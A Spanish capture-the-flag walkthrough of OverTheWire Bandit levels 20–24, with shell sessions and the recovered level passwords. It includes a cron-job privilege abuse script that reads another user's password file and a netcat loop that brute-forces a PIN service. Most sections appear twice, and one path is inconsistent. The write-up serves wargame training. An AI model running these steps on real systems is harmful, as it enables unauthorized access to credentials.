OverTheWire. Bandit Niveles 20 - 24
Continuamos con la serie de "Write Ups" de OverTheWire y Bandit. En esta ocasión veremos las soluciones para los niveles desde el 20 al 24. En los 19 niveles anteriores hemos podido ver la importancia que tiene el conocimiento del sistema y de los comandos disponibles así como de de los diferentes parámetros disponibles. También la importancia de establecer bien los privilegios de archivos y carpetas así como tener a buen recaudo las credenciales privadas de las que dispongamos. Recuerda antes de nada, primero consulta manuales, información etc... para tratar de resolverlos. Vamos allá !!!
Bandit Level 20 → Level 21
Level Goal
There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).
NOTE: Try connecting to your own network daemon to see if it works as you think
Commands you may need to solve this level
ssh, nc, cat, bash, screen, tmux, Unix ‘job control’ (bg, fg, jobs, &, CTRL-Z, …)
Solución Nivel 20
Se necesitan dos terminales conectadas a bandit20
En una de las terminales ponemos un netcat a la escucha en un puerto.
En la otra Terminal ejecutamos el archivo binario.
[ Terminal 1]
bandit20@bandit:~$ ls
suconnect
bandit20@bandit:~$ ./suconnect 4444
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password
Cuando ponemos el password de bandit20 en la terminal con netcat al recibirla nos envía el password del siguiente nivel bandit21.
[ Terminal 2 ]
bandit20@bandit:~$ nc -lvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 46622
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
bandit20@bandit:~$
En una de las terminales ponemos un netcat a la escucha en un puerto.
En la otra Terminal ejecutamos el archivo binario.
[ Terminal 1]
bandit20@bandit:~$ ls
suconnect
bandit20@bandit:~$ ./suconnect 4444
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password
Cuando ponemos el password de bandit20 en la terminal con netcat al recibirla nos envía el password del siguiente nivel bandit21.
[ Terminal 2 ]
bandit20@bandit:~$ nc -lvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 46622
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
bandit20@bandit:~$
Bandit Level 21 → Level 22
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
Commands you may need to solve this level
cron, crontab, crontab(5) (use “man 5 crontab” to access this)
Solución Nivel 21
bandit21@bandit:/etc/cron.d$ ls
cronjob_bandit22 cronjob_bandit23 cronjob_bandit24
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
cronjob_bandit22 cronjob_bandit23 cronjob_bandit24
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
Password Acceso Nivel 22 : Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
Bandit Level 22 → Level 23
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.
Commands you may need to solve this level
cron, crontab, crontab(5) (use “man 5 crontab” to access this)
Solución Nivel 22
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:/tmp/bandit23$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:/tmp/bandit23$
bandit22@bandit:/tmp/bandit23$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:/tmp/bandit23$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:/tmp/bandit23$
bandit22@bandit:/tmp/bandit23$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
Password Acceso Nivel 23 : jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
Bandit Level 23 → Level 24
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!
NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…
Commands you may need to solve this level
cron, crontab, crontab(5) (use “man 5 crontab” to access this)
Solución Nivel 23
bandit23@bandit:~$ ls
bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ ls
cronjob_bandit22 cronjob_bandit23 cronjob_bandit24
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
timeout -s 9 60 ./$i
rm -f ./$i
fi
done
(*) Hay que tener en cuenta que el directorio donde se ejecuta el script es /var/spool/bandit24
(*) Creamos un directorio temporal
bandit23@bandit:/var/spool/bandit24$ mkdir /tmp/jperez3
(*) Damos permisos a todos los usuarios
bandit23@bandit:/var/spool/bandit24$ chmod 777 /tmp/jperez3
Nos situamos en el directorio
bandit23@bandit:/var/spool/bandit24
Creamos el script.
nano get.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/jperez/bandit24_pass.txt
(*) Damos permiso de ejecución al script
bandit23@bandit:/var/spool/bandit24$ chmod +x get.sh
(*) Esperamos que el date llegue a otro minuto para que se ejecute nuestro script
bandit23@bandit:/var/spool/bandit24$ date
Thu Jan 10 20:58:43 CET 2019
bandit23@bandit:/var/spool/bandit24$ ls
bandit30 bandit32 bandit34
bandit23@bandit:/var/spool/bandit24$ ls /tmp/jperez3
bandit24_pass.txt
bandit23@bandit:/var/spool/bandit24$ cat /tmp/jperez3/bandit24_pass.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ ls
cronjob_bandit22 cronjob_bandit23 cronjob_bandit24
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
timeout -s 9 60 ./$i
rm -f ./$i
fi
done
(*) Hay que tener en cuenta que el directorio donde se ejecuta el script es /var/spool/bandit24
(*) Creamos un directorio temporal
bandit23@bandit:/var/spool/bandit24$ mkdir /tmp/jperez3
(*) Damos permisos a todos los usuarios
bandit23@bandit:/var/spool/bandit24$ chmod 777 /tmp/jperez3
Nota: El script bandit24 se ejecuta cada minuto y lo que hace es ejecutar todos los archivos que se encuentran en el directorio y luego los borra.
Script: nuestro script lo que tiene que hacer es aprovechar que el script temporal se ejecuta cada minuto con privilegios de bandit24 que es el único que puede acceder al password de bandit24 luego nuestro script se ejecutara con permisos de bandit24.
Aprovechando esto lo que vamos a realizar es un simple cat del password de bandit24 y guardarlo en el directorio temporal que hemos creado.
Nos situamos en el directorio
bandit23@bandit:/var/spool/bandit24
Creamos el script.
nano get.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/jperez/bandit24_pass.txt
(*) Damos permiso de ejecución al script
bandit23@bandit:/var/spool/bandit24$ chmod +x get.sh
(*) Esperamos que el date llegue a otro minuto para que se ejecute nuestro script
bandit23@bandit:/var/spool/bandit24$ date
Thu Jan 10 20:58:43 CET 2019
bandit23@bandit:/var/spool/bandit24$ ls
bandit30 bandit32 bandit34
bandit23@bandit:/var/spool/bandit24$ ls /tmp/jperez3
bandit24_pass.txt
bandit23@bandit:/var/spool/bandit24$ cat /tmp/jperez3/bandit24_pass.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
Password Acceso Nivel 24 : UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
Bandit Level 24 → Level 25
Level Goal
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
Solución Nivel 24
Para este nivel, vamos a necesitar de la realización de un script que nos permita acceder mediante fuerza bruta al puerto 30002. Existen múltiples opciones para realizar este script, aquí dejo el que yo realice. Nota: PACIENCIA... se tarda un buen rato ... PACIENCIA.
Nos situamos en un directorio temporal para realizar el procedimiento.
[ Script Fuerza Bruta Puerto 30002 con PinCode 4 digitos ]
#!/bin/bash
bandit24pass="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
for pass in {0000..9999}
do
password="$bandit24pass $pass"
echo "Probando Password: $password"
echo "$password" | nc localhost 30002 >> /tmp/jperez3/output.txt &
sleep 2
done
Damos permisos de ejecución y procedemos a ejecutar el script. Una vez ejecutado después de un largo tiempo, podemos revisar el archivo output.txt en el que nuestro script está guardando los mensajes retornados en cada intento de ejecución del script.
bandit24@bandit:/tmp/jperez3$ cat output.txt
.
.
.
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Timeout. Exiting.
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
bandit24@bandit:/tmp/jperez3$ cat output.txt | grep "The password"
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
bandit24@bandit:/tmp/jperez3$
Nos situamos en un directorio temporal para realizar el procedimiento.
[ Script Fuerza Bruta Puerto 30002 con PinCode 4 digitos ]
#!/bin/bash
bandit24pass="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
for pass in {0000..9999}
do
password="$bandit24pass $pass"
echo "Probando Password: $password"
echo "$password" | nc localhost 30002 >> /tmp/jperez3/output.txt &
sleep 2
done
Damos permisos de ejecución y procedemos a ejecutar el script. Una vez ejecutado después de un largo tiempo, podemos revisar el archivo output.txt en el que nuestro script está guardando los mensajes retornados en cada intento de ejecución del script.
bandit24@bandit:/tmp/jperez3$ cat output.txt
.
.
.
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Timeout. Exiting.
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
bandit24@bandit:/tmp/jperez3$ cat output.txt | grep "The password"
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
bandit24@bandit:/tmp/jperez3$
Password Acceso Nivel 25 : uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG